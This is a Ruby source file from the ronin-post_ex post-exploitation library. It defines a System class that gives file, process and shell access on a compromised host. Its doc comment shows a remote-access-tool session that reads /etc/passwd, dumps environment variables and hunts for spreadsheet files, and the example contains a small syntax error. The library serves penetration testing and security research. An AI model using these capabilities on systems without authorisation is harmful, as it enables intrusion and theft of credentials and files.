ronin-rb/ronin-post_ex

View on GitHub
lib/ronin/post_ex/system.rb

Summary

Maintainability
A
0 mins
Test Coverage
# frozen_string_literal: true
#
# ronin-post_ex - a Ruby API for Post-Exploitation.
#
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-post_ex is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-post_ex is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-post_ex.  If not, see <https://www.gnu.org/licenses/>.
#

require 'ronin/post_ex/resource'
require 'ronin/post_ex/system/fs'
require 'ronin/post_ex/system/process'
require 'ronin/post_ex/system/shell'
require 'ronin/post_ex/cli/system_shell'

module Ronin
  module PostEx
    #
    # Represents a successfully compromised system. The {System} class will
    # wraps around a session object which defines syscall-like post-exploitation
    # API for reading/writing files, run commands, etc.
    #
    # ## Supported API Functions
    #
    # * `sys_time -> Integer`
    # * `sys_hostname -> String`
    #
    # ## Example
    #
    # Define the session class which defines the Post-Exploitation API methods:
    #
    #     require 'base64'
    #     
    #     class SimpleRATSession < Ronin::PostEx::Sessions::Session
    #
    #       def initialize(socket)
    #         @socket = socket
    #       end
    #     
    #       def call(name,*args)
    #         @socket.puts("#{name} #{args.join(' ')}")
    #
    #         Base64.strict_decode64(@socket.gets(chomp: true)(
    #       end
    #
    #       def shell_exec(command)
    #         call('EXEC',command)
    #       end
    #
    #       def fs_readfile(path)
    #         call('READ',path)
    #       end
    #
    #       def process_pid
    #         call('PID').to_i
    #       end
    #
    #       def process_getuid
    #         call('UID').to_i
    #       end
    #
    #       def process_environ
    #         Hash[
    #           call('ENV').each_line(chomp: true).map { |line|
    #             line.split('=',2)
    #           }
    #         ]
    #       end
    #
    #     end
    #
    # Initialize a new {System} object that wraps around the client:
    #
    #     session = SimpleRATSession.new(socket)
    #     system  = Ronin::PostEx::System.new(session)
    #
    # Interact with the system's remote files as if they were local files:
    #
    #     file = system.fs.open('/etc/passwd')
    #     file.each_line do |line|
    #       user, x, uid, gid, name, home_dir, shell = line.split(':')
    #
    #       puts "User Detected: #{user} (id=#{uid})"
    #     end
    #
    # Get information about the current process:
    #
    #     system.process.pid
    #     # => 1234
    #     system.process.getuid
    #     # => 1001
    #     system.process.environ
    #     # => {"HOME"=>"...", "PATH"=>"...", ...}
    #
    # Execute commands on the remote system:
    #
    #     system.shell.ls('/')
    #     # => "bin\nboot\ndev\netc\nhome\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsnap\nsrv\nsys\ntmp\nusr\nvar\n"
    #     system.shell.exec("find -type f -name '*.xls' /srv") do |path|
    #       puts "Found XLS file: #{path}"
    #     end
    #
    class System < Resource

      # The File-System resource.
      #
      # @return [System::FS]
      attr_reader :fs

      # The Process resource.
      #
      # @return [System::Process]
      attr_reader :process

      # The Shell resource.
      #
      # @return [System::Shell]
      attr_reader :shell

      #
      # Initializes the system.
      #
      # @param [Object] session
      #   The object which defines the Post-Exploitation API methods.
      #
      def initialize(session)
        super(session)

        @fs      = FS.new(session)
        @process = Process.new(session)
        @shell   = Shell.new(session)
      end

      #
      # Gets the current time.
      #
      # @return [Time]
      #   The current time.
      #
      # @note
      #   Requires the `sys_time` method be defined by the {#session} object.
      #
      def time
        Time.at(@session.sys_time.to_i)
      end
      resource_method :time, [:sys_time]

      #
      # Gets the system's hostname.
      #
      # @return [String]
      #   The system's local hostname.
      #
      # @note
      #   Requires the `sys_hostname` method be defined by the {#session}
      #   object.
      #
      def hostname
        @session.sys_hostname
      end

      #
      # Starts an interactive post-exploitation system shell.
      #
      def interact
        CLI::SystemShell.start(self)
      end

      #
      # Exits the process.
      #
      # @see Process#exit
      #
      def exit
        @process.exit
      end

    end
  end
end